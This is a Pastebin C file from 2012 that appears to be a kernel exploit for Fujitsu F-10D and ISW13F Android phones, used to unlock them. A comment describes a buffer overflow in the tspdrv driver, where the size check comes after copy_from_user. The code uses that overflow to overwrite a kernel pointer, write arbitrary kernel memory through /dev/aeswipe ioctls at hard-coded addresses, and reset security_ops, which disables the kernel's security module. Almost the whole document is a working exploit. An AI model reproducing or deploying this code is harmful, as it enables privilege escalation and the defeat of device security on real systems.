goroh_kun

f10dunlock_test31.c

Nov 12th, 2012
872
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.27 KB | None | 0 0
  1. /*
  2.  *  Copyright (c) 2012 goroh_kun
  3.  *
  4.  *  2012/09/03
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdint.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <errno.h>
  13. #include <sys/stat.h>
  14. #include <sys/mman.h>
  15. #include <sys/ioctl.h>
  16.  
  17. void memdump(char* addr, int num)
  18. {
  19.     int i, j;
  20.     int n = (num + 15) / 16;
  21.     for (j=0; j<n; j++){
  22.         printf("%08x : ", addr);
  23.         for(i=0; i<16; i++){
  24.             printf("%02x ", *addr++);
  25.         }
  26.         addr -= 16;
  27.         for(i=0; i<16; i++){
  28.             if (*addr>=0x20 && *addr<0x80) {
  29.                  printf("%c", *addr);
  30.             } else {
  31.                 printf(".");
  32.             }
  33.             addr++;
  34.         }
  35.         printf("\n");
  36.     }
  37. }
  38.  
  39. #if 0
  40. ########################################################################################
  41. There is vulnerability in function "write" in kernel/drivers/tspdrv/tspdrv.c.
  42.  
  43. static ssize_t write(struct file *file, const char *buf, size_t count, loff_t *ppos)
  44. {
  45. ....
  46.     /* Copy immediately the input buffer */
  47.     if (0 != copy_from_user(g_cWriteBuffer, buf, count))
  48.     {
  49.         /* Failed to copy all the data, exit */
  50.         DbgOut((KERN_ERR "tspdrv: copy_from_user failed.\n"));
  51.         return 0;
  52.     }
  53.  
  54.     /* Check buffer size */
  55.     if ((count <= SPI_HEADER_SIZE) || (count > SPI_BUFFER_SIZE))
  56.     {
  57.         DbgOut((KERN_ERR "tspdrv: invalid write buffer size.\n"));
  58.         return 0;
  59.     }
  60. ....
  61. }
  62.  
  63.  
  64.   We have to check the parameter "count" *before* using copy_from_user.
  65.   Or if we set the parameter larger than g_cWriteBuffer size, it occurs memory overflow.
  66.   In this case, I override a variable named g_lptsAuthContext by using this vulnerability.
  67.   The variable is located like bellow.
  68.  
  69. g_cWriteBuffer    : 0xc09ae6a8
  70. g_CalibrateBuffer : 0xc09ae6e0
  71. g_lptsAuthContext : 0xc09ae6fc
  72.  
  73. ########################################################################################
  74. #endif
  75.  
  76. #define BUF_SIZE  (0xc09ae700 - 0xc09ae6a8)
  77. #define TSPDRV_MAGIC_NUMBER                 0x494D4D52
  78. void set_lptsAuthContext(unsigned int addr)
  79. {
  80.   char buf[BUF_SIZE] = {0};
  81.   buf[BUF_SIZE - 4] = addr & 0xff;
  82.   buf[BUF_SIZE - 3] = (addr >> 8) & 0xff;
  83.   buf[BUF_SIZE - 2] = (addr >> 16) & 0xff;
  84.   buf[BUF_SIZE - 1] = (addr >> 24) & 0xff;
  85.   int fdtsp = open("/dev/tspdrv", O_RDWR);
  86.   int ret = ioctl(fdtsp, TSPDRV_MAGIC_NUMBER, 0);
  87.   ret = write(fdtsp, buf, BUF_SIZE);
  88.   close(fdtsp);
  89. }
  90.  
  91. /*
  92. ...
  93. 100001a0 : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ................
  94. 100001b0 : -- -- -- -- -- -- -- -- 00 00 00 00 aa aa aa aa ................
  95. 100001c0 : -- -- -- -- -- -- -- -- -- -- -- -- 01 00 00 00 ................
  96. ...
  97. 10000250 :*xx xx xx xx -- -- -- -- -- -- -- -- -- -- -- -- ................
  98. ...
  99. * pid is stored on xx xx xx xx, when /dev/aeswipe is opened.
  100. * an ioctl AUTH_IOCTL_SET_TIMEOUT value is stored on aa aa aa aa.
  101. */
  102.  
  103. typedef unsigned int uint32;
  104. typedef int int32;
  105. typedef struct _tag_TrIoctlHeader
  106. {
  107.     uint32 uiSize;          /* INOUT: Total size of the structure including header.         */
  108.                             /*        On input it contains the size of the input buffer.    */
  109.                             /*        On output it contains the size of the output buffer.  */
  110.  
  111.     uint32 uiOperationId;   /*    IN: ID of the desired operation. Needed for TransportIOCL */
  112.                             /*        or on systems where everything is tunneled through a  */
  113.                             /*        single IOCTL. See TrOperationId.                      */
  114.  
  115.     int32  retCode;         /*   OUT: Return code of the IOCTL.                             */
  116. } tsTrIoctlHeader;
  117.  
  118. typedef struct _tag_TrTimeoutIoctlBuffer
  119. {
  120.     tsTrIoctlHeader sHeader;   /* INOUT: Header.         */
  121.     uint32          uiTimeout; /*    IN: Timeout value.  */
  122. } tsTrTimeoutIoctlBuffer;
  123. #define AUTH_IOCTL_BASE ('x')
  124. #define AUTH_IOCTL_SET_TIMEOUT          _IOWR( AUTH_IOCTL_BASE, 10, tsTrTimeoutIoctlBuffer )
  125.  
  126. void mempatch0(unsigned addr)
  127. {
  128.   char buf[0x300] = {0};
  129.   set_lptsAuthContext((unsigned)buf);
  130.   int fdaes = open("/dev/aeswipe", O_RDWR);
  131.   usleep(10000);
  132.   set_lptsAuthContext(addr - 0x1b8);
  133.   close(fdaes);
  134.   usleep(10000);
  135.   set_lptsAuthContext(0);
  136. }
  137.  
  138. void mempatch(int fd, unsigned addr, unsigned value)
  139. {
  140.   tsTrTimeoutIoctlBuffer param = {0};
  141.   param.sHeader.uiSize = sizeof(param);
  142.   param.uiTimeout = value;
  143.  
  144.   set_lptsAuthContext(addr - 0x1bc);
  145.   ioctl(fd, AUTH_IOCTL_SET_TIMEOUT, &param);
  146.   usleep(10000);
  147.   set_lptsAuthContext(0);
  148. }
  149.  
  150. static const unsigned original_code[] = {
  151.   0xe24cb004, // SUB             R11, R12, #4
  152.   0xe1a06001, // MOV             R6, R1
  153. };
  154.  
  155. static const unsigned patched_code[] = {
  156.   0xe5900084, // LDR             R0, [R0,#private] ; file->private
  157.   0xe89da8f0, // LDMFD           SP, {R4-R7,R11,SP,PC}
  158. };
  159.  
  160. static int is_isw13f = 0;
  161. static int is_newf10d = 0;
  162. static int is_newf10d2 = 0;
  163. unsigned int get_private(int fd, int fd2, unsigned aesbuf)
  164. {
  165.   char buf[0x10] = {0};
  166.   unsigned int ret = 0;
  167.  
  168.   if(is_isw13f){
  169.     mempatch(fd2, 0xc043f9e8, patched_code[0]); // module_entry_write+0x8
  170.     mempatch(fd2, 0xc043f9ec, patched_code[1]); // module_entry_write+0xc
  171.   }else if(is_newf10d){
  172.     mempatch(fd2, 0xc044d238, patched_code[0]); // module_entry_write+0x8
  173.     mempatch(fd2, 0xc044d23c, patched_code[1]); // module_entry_write+0xc
  174.   }else if(is_newf10d2){
  175.     mempatch(fd2, 0xc044d9ac, patched_code[0]); // module_entry_write+0x8
  176.     mempatch(fd2, 0xc044d9b0, patched_code[1]); // module_entry_write+0xc
  177.   }else{
  178.     mempatch(fd2, 0xc044d20c, patched_code[0]); // module_entry_write+0x8
  179.     mempatch(fd2, 0xc044d210, patched_code[1]); // module_entry_write+0xc
  180.   }
  181.  
  182.   set_lptsAuthContext((unsigned)aesbuf);
  183.   ret = write(fd, buf, 1);
  184.   usleep(10000);
  185.  
  186.   if(is_isw13f){
  187.     mempatch(fd2, 0xc043f9e8, original_code[0]); // module_entry_write+0x8
  188.     mempatch(fd2, 0xc043f9ec, original_code[1]); // module_entry_write+0xc
  189.   }else if(is_newf10d){
  190.     mempatch(fd2, 0xc044d238, original_code[0]); // module_entry_write+0x8
  191.     mempatch(fd2, 0xc044d23c, original_code[1]); // module_entry_write+0xc
  192.   }else if(is_newf10d2){
  193.     mempatch(fd2, 0xc044d9ac, original_code[0]); // module_entry_write+0x8
  194.     mempatch(fd2, 0xc044d9b0, original_code[1]); // module_entry_write+0xc
  195.   }else{
  196.     mempatch(fd2, 0xc044d20c, original_code[0]); // module_entry_write+0x8
  197.     mempatch(fd2, 0xc044d210, original_code[1]); // module_entry_write+0xc
  198.   }
  199.   return ret;
  200. }
  201.  
  202. int main(int argc, char** argv)
  203. {
  204.   char buf[0x300] = {0};
  205.   int recovery_context = 1;
  206.   unsigned int context_addr = 0;
  207.   if(argc >= 2 && atoi(argv[1])==1){
  208.     printf("use ISW13F address\n");
  209.     is_isw13f = 1;
  210.   }
  211.   if(argc >= 2 && atoi(argv[1])==2){
  212.     printf("use new F-10D address\n");
  213.     is_newf10d = 1;
  214.   }
  215.   if(argc >= 2 && atoi(argv[1])==3){
  216.     printf("use new F-10D address(2)\n");
  217.     is_newf10d2 = 1;
  218.   }
  219.  
  220.   int fdaes = open("/dev/aeswipe", O_RDWR);
  221.   printf("fdaes = %d\n", fdaes);
  222.   if(fdaes < 0){
  223.     printf("open aeswipe error, so try to disable LSM without recovery g_lptsAuthContext\n");
  224.     recovery_context = 0;
  225.   }
  226.  
  227.   set_lptsAuthContext((unsigned)buf);
  228.   int fdaes2 = open("/dev/aeswipe", O_RDWR);
  229.   usleep(10000);
  230.   set_lptsAuthContext(0);
  231.   printf("fdaes2 = %d\n", fdaes2);
  232.  
  233.   //AuthTransportIOControl disable AbortCheck
  234.   if(is_isw13f){
  235.     mempatch0(0xc043e2fc); // 0xc043e2fc, 0xc043e310 = 0
  236.     mempatch0(0xc043e300); // 0xc043e300, 0xc043e314 = 0
  237.     mempatch0(0xc043e304); // 0xc043e304, 0xc043e318 = 0
  238.     mempatch0(0xc043e308); // 0xc043e308, 0xc043e31c = 0
  239.     mempatch0(0xc043e30c); // 0xc043e30c, 0xc043e320 = 0
  240.   }else if(is_newf10d){
  241.     mempatch0(0xc044bb4c); // 0xc044bb4c, 0xc044bb60 = 0
  242.     mempatch0(0xc044bb50); // 0xc044bb50, 0xc044bb64 = 0
  243.     mempatch0(0xc044bb54); // 0xc044bb54, 0xc044bb68 = 0
  244.     mempatch0(0xc044bb58); // 0xc044bb58, 0xc044bb6c = 0
  245.     mempatch0(0xc044bb5c); // 0xc044bb5c, 0xc044bb70 = 0
  246.   }else if(is_newf10d2){
  247.     mempatch0(0xc044c2c0); // 0xc044c2c0, 0xc044c2d4 = 0
  248.     mempatch0(0xc044c2c4); // 0xc044c2c4, 0xc044c2d8 = 0
  249.     mempatch0(0xc044c2c8); // 0xc044c2c8, 0xc044c2dc = 0
  250.     mempatch0(0xc044c2cc); // 0xc044c2cc, 0xc044c2e0 = 0
  251.     mempatch0(0xc044c2d0); // 0xc044c2d0, 0xc044c2e4 = 0
  252.   }else{
  253.     mempatch0(0xc044bb14); // 0xc044bb14, 0xc044bb28 = 0
  254.     mempatch0(0xc044bb18); // 0xc044bb18, 0xc044bb2c = 0
  255.     mempatch0(0xc044bb1c); // 0xc044bb1c, 0xc044bb30 = 0
  256.     mempatch0(0xc044bb20); // 0xc044bb20, 0xc044bb34 = 0
  257.     mempatch0(0xc044bb24); // 0xc044bb24, 0xc044bb38 = 0
  258.   }
  259.  
  260.   if(recovery_context){
  261.     context_addr = get_private(fdaes, fdaes2, (unsigned)buf);
  262.     printf("file->private = %08x\n", context_addr);
  263.     if(context_addr >= 0xffff0000) context_addr = 0;
  264.     if(context_addr <= 0xc0000000) context_addr = 0;
  265.   }
  266.  
  267.   if(is_isw13f){
  268.     mempatch(fdaes2, 0xc09e5290, 0xc09308ec); // security_ops = default_security_ops
  269.   }else if(is_newf10d2){
  270.     mempatch(fdaes2, 0xc098ed68, 0xc08da184); // security_ops = default_security_ops
  271.   }else{
  272.     mempatch(fdaes2, 0xc098ed48, 0xc08da184); // security_ops = default_security_ops
  273.   }
  274.  
  275.   set_lptsAuthContext((unsigned)buf);
  276.   close(fdaes2);
  277.   usleep(10000);
  278.  
  279.   set_lptsAuthContext(context_addr);
  280.   close(fdaes);
  281.   return 0;
  282. }
Advertisement
Add Comment
Please, Sign In to add comment